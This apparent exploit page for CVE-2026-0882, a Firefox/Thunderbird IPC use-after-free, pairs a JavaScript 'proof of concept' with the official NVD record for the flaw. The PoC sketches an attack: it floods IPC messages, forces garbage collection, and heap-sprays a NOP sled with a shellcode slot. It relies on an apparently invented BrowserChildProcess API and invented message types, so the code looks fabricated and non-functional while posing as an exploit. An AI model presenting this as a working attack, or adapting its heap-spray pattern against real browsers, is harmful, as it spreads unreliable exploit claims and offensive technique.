CVE-2026-0882

// CVE-2026-0882 PoC - Use-after-free in IPC Component // This is a conceptual PoC for educational purposes only const poc = { target: 'Firefox/Thunderbird IPC UAF', cve: 'CVE-2026-0882', // Trigger the UAF condition triggerUAF: function() { // Step 1: Create IPC message handlers const ipcChannel = new BrowserChildProcess(); // Step 2: Manipulate message queue to trigger race condition for (let i = 0; i < 1000; i++) { ipcChannel.send('IPCMessage', { type: 'TriggerUAF', data: new ArrayBuffer(1024 * 1024) // Large buffer }); // Force garbage collection to free memory if (i % 100 === 0) { gc(); } } // Step 3: Heap spray to control freed memory this.heapSpray(); // Step 4: Trigger access to freed object ipcChannel.send('IPCMessage', { type: 'AccessFreedMemory' }); }, // Heap spraying technique heapSpray: function() { const spraySize = 0x100000; // 1MB const sprayData = new Uint8Array(spraySize); // Fill with NOP sled and shellcode for (let i = 0; i < spraySize - 100; i++) { sprayData[i] = 0x90; // NOP } // Place shellcode at the end const shellcode = [/* your shellcode here */]; for (let i = 0; i < shellcode.length; i++) { sprayData[spraySize - 100 + i] = shellcode[i]; } // Spray the heap for (let i = 0; i < 100; i++) { new Uint8Array(spraySize).set(sprayData); } } }; // Execute trigger poc.triggerUAF();

{"cve": {"id": "CVE-2026-0882", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:38.750", "lastModified": "2026-04-13T15:17:17.050", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the IPC component. This vulnerability was fixed in Firefox 147, Firefox ESR 115.32, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7."}, {"lang": "es", "value": "Uso después de liberación en el componente IPC. Esta vulnerabilidad afecta a Firefox &lt; 147, Firefox ESR &lt; 115.32, Firefox ESR &lt; 140.7, Thunderbird &lt; 147, y Thunderbird &lt; 140.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.32.0", "matchCriteriaId": "D7C58C67-2B8D-493D-8914-F407E35B348A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "128.0", "versionEndExcluding": "140.7.0", "matchCriteriaId": "4FF5535D-A7D8-46C6-AA5A-8EB3762A9171"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "BFBAB968-3244-4970-8D02-CCF9D5FB958D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1924125", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-02/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-03/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-05/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}